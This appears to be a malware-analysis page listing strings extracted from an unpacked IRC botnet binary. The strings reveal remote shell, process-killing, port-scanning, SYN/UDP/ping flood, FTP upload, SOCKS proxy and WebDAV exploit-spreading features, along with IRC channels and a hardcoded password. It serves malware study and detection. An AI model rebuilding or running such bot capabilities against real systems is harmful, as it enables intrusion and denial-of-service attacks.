"[MAIN]: Read file complete: %s"
"[MAIN]: Read file failed: %s"
"\n"
"[CMD]: Error sending to remote shell."
"[CMD]: Commands: %s"
"[mIRC]: Client not open."
"[mIRC]: Command sent."
"[FILE]: List: %s"
"[FILE]: Deleted '%s'."
"[FILE]:"
"[PROC]: Process killed ID: %s"
"[PROC]: Failed to terminate process ID:"...
"[PROC]: Process killed & deleted: %s"
"[PROC]: Process killed: %s"
"[PROC]: Failed to terminate process: %s"...
"[DNS]: Lookup: %s -> %s."
"[DNS]: Couldn't resolve hostname."
"[MAIN]: Server changed to: '%s'."
"open"
"[SHELL]: File opened: %s"
"[SHELL]: Couldn't open file: %s"
"[MAIN]: Prefix changed to: '%c'."
"NICK %s"
"QUIT :later\r\n"
"all"
"[THREADS]: Stopped: %d thread(s)."
"[THREADS]: No active threads found."
"[THREADS]: Killed thread: %s."
"[THREADS]: Failed to kill thread: %s."
"%s\r\n"
"[MAIN]: IRC Raw: %s."
"PART %s\r\n"
"[MAIN]: Parted channel: '%s'."
"JOIN %s %s\r\n"
"[MAIN]: Joined channel: '%s'."
"NICK %s\r\n"
"[MAIN]: Nick changed to: '%s'."
"[SCAN]: Already %d scanning threads. To"...
"#murders"
"Random"
"Sequential"
"[SCAN]: %s Port Scan started on %s:%d w"...
"[SCAN]: Failed to start scan thread, er"...
"[SCAN]: Failed to start scan, port is i"...
"[TFTP]: Already running."
"[TFTP]: Server started on Port: %d, Fil"...
"[TFTP]: Failed to start server thread, "...
"[HTTPD]: Server listening on IP: %s:%d,"...
"[HTTPD]: Failed to start server thread,"...
"[RLOGIND]: Server listening on IP: %s:%"...
"[RLOGIND]: Failed to start server threa"...
"[FLUSHDNS]: DNS cache flushed."
"[FLUSHDNS]: Failed to flush DNS cache."
"[FLUSHDNS]: Failed to load dnsapi.dll."
"[FLUSHDNS]: ARP cache flushed."
"[FLUSHDNS]: Failed to flush ARP cache."
"[MAIN]: Get Clipboard."
"[CMD]: Remote shell already running."
"[CMD]: Couldn't open remote shell."
"[CMD]: Remote shell ready."
"[MAIN]: Uptime: %s."
"[PROC]: Already running."
"full"
"[PROCS]: Proccess list."
"[PROCS]: Failed to start listing thread"...
"n3m3s1s"
"[MAIN]: Removing Bot."
"[MAIN]: System Info."
"[MAIN]: Network Info."
"%s"
"[LOG]: Listing log."
"[LOG]: Failed to start listing thread, "...
"[MAIN]: Alias list."
"sub"
"[THREADS]: List threads."
"[THREADS]: Failed to start list thread,"...
"Bot018"
"[MAIN]: Bot ID: %s."
"[MAIN]: Status: Ready. Bot Uptime: %s."
"QUIT :%s\r\n"
"QUIT :later\r\n"
"QUIT :disconnecting\r\n"
"[MAIN]: Disconnecting."
"QUIT :reconnecting\r\n"
"[MAIN]: Reconnecting."
"Process list"
"[PROC]"
"[SOCKS4]: Server started on: %s:%d."
"[SOCKS4]: Failed to start server thread"...
"secure"
"sec"
"Unsecuring"
"[SECURE]: %s system."
"[SECURE]: Failed to start secure thread"...
"[Bot 0.018]"
"[MAIN]: %s"
"[MAIN]: User %s logged out."
"[MAIN]: No user logged in at slot: %d."
"[MAIN]: Invalid login slot number: %d."
"[MAIN]: User %s logged out."
"httpcon"
"hcon"
"upload"
"[FTP]: File not found: %s."
"%s\\%i%i%i.dll"
"ab"
"open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
"-s:%s"
"ftp.exe"
"open"
"[FTP]: Uploading file: %s to: %s"
"[FTP]: Uploading file: %s to: %s failed"...
"syn"
"ack"
"[TCP]: Invalid flood type specified."
"Spoofed"
"Normal"
"[TCP]: %s %s flooding: (%s:%s) for %s s"...
"[TCP]: Failed to start flood thread, er"...
"[TCP]: Invalid flood time must be great"...
"[PING]: Sending %d pings to %s. packet "...
"[PING]: Failed to start flood thread, e"...
"ICMP.dll not available"
"[UDP]: Sending %d packets to: %s. Packe"...
"[UDP]: Failed to start flood thread, er"...
"[SCAN]: Already %d scanning threads. To"...
"[SCAN]: Failed to start scan, port is i"...
"Stopping previous scans"
"[SCAN]"
"[SCAN]: Failed to start scan, no IP spe"...
"#murders"
"Random"
"Sequential"
"[SCAN]: %s Port Scan started on %s:%d w"...
"[SCAN]: Failed to start scan thread, er"...
"NICK %s\r\n"
"[MAIN]: Random nick change: %s"
"!"
"~"
"n3m3s1s"
"NOTICE %s :Pass auth failed (%s!%s).\r\n"
"NOTICE %s :Your attempt has been logged"...
"[MAIN]: *Failed pass auth by: (%s!%s)."
"NOTICE %s :Host Auth failed (%s!%s).\r\n"
"NOTICE %s :Your attempt has been logged"...
"[MAIN]: *Failed host auth by: (%s!%s)."
"n3m3s1s"
"[MAIN]: Password accepted."
"[MAIN]: User: %s logged in."
"USERHOST %s\r\n"
"+ix"
"MODE %s %s\r\n"
"JOIN %s %s\r\n"
</font></pre></td></tr><tr id="sub_401141"><td><pre><a name="sub_401141"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_401141"><font size=+2>sub_401141</a>(dcec)</font>:<font color=brown>
"[TFTP]: Server started on Port: %d, Fil"...
"[TFTP]: Failed to start server, error: "...
"[FTP]: Server started on: %s:%d, File: "...
"[FTP]: Failed to start server, error: <"...
"[HTTPD]: Server listening on IP: %s:%d,"...
"[HTTPD]: Failed to start server, error:"...
</font></pre></td></tr><tr id="sub_40D1EF"><td><pre><a name="sub_40D1EF"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_40D1EF"><font size=+2>sub_40D1EF</a>(e1b4)</font>:<font color=brown>
"Bot018"
"%s%s"
"%s\\%s"
"%s %d \"%s\""
"[MAIN]: Bot started."
"[SECURE]: System secure monitor active."...
"[SECURE]: Failed to start secure thread"...
"#hell"
"troopers"
"#hell"
"troopers"
"troopers"
</font></pre></td></tr><tr id="sub_40E70F"><td><pre><a name="sub_40E70F"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_40E70F"><font size=+2>sub_40E70F</a>(e423)</font>:<font color=brown>
"mIRC"
"[M]"
"[%d]%s"
"[M]"
</font></pre></td></tr><tr id="sub_40F07B"><td><pre><a name="sub_40F07B"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_40F07B"><font size=+2>sub_40F07B</a>(e4b4)</font>:<font color=brown>
"cmd /q"
"[RLOGIND]: Failed to execute shell, err"...
</font></pre></td></tr><tr id="sub_411235"><td><pre><a name="sub_411235"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_411235"><font size=+2>sub_411235</a>(ecd7)</font>:<font color=brown>
"SEARCH /"
" HTTP/1.1\r\n"
"<?xml version=\"1.0\"?>\r\n<g:searchrequest"...
"Host: %s\r\nContent-Type: text/xml\r\nConte"...
"[%s]: Exploiting IP: %s."
</font></pre></td></tr><tr id="sub_405DC5"><td><pre><a name="sub_405DC5"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_405DC5"><font size=+2>sub_405DC5</a>(ed42)</font>:<font color=brown>
"The following Windows services are regi"...
" Unknown"
" Paused"
" Pausing"
" Continuing"
" Running"
" Stoping"
" Starting"
" Stopped"
"%s: %s (%s)"
</font></pre></td></tr><tr id="sub_406C33"><td><pre><a name="sub_406C33"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_406C33"><font size=+2>sub_406C33</a>(f465)</font>:<font color=brown>
"%d.%d.%d.%d"
</font></pre></td></tr><tr id="sub_40D7DF"><td><pre><a name="sub_40D7DF"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_40D7DF"><font size=+2>sub_40D7DF</a>(f51e)</font>:<font color=brown>
"[REDIRECT]: Client connection to IP: %s"...
"[REDIRECT]: Failed to start connection "...
</font></pre></td></tr><tr id="sub_410F55"><td><pre><a name="sub_410F55"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_410F55"><font size=+2>sub_410F55</a>(f657)</font>:<font color=brown>
"-[Thread List]-"
"%d. %s"
</font></pre></td></tr></table><script>
document.getElementById(window.location.href.split('#')[1]).setAttribute("style", "background-color:#ddddff");
</script>
</html> |